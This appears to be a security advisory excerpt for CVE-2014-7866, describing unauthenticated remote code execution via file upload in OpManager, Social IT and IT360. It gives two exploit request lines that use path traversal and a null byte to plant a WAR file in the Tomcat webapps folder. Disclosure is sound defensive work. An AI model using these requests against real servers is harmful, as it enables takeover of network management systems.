Vulnerability: Remote code execution via file upload (unauthenticated 
on OpManager and Social IT) 
CVE-2014-7866 
Constraints: no authentication needed for OpManager and Social IT; 
authenticated in IT360 

a) 
POST /servlet/MigrateLEEData?fileName=../tomcat/webapps/warfile.war%00 
Affected versions: Unknown, at least OpManager v8 build 88XX to 
11.3/11.4; IT360 10.3/10.4; Social IT 11.0 

b) 
POST /servlet/MigrateCentralData?operation=downloadFileFromProbe&zipFileName=../tomcat/webapps/warfile.war%00 
Affected versions: Unknown, at least OpManager v8 build 88XX to 
11.3/11.4; IT360 10.3/10.4; Social IT 11.0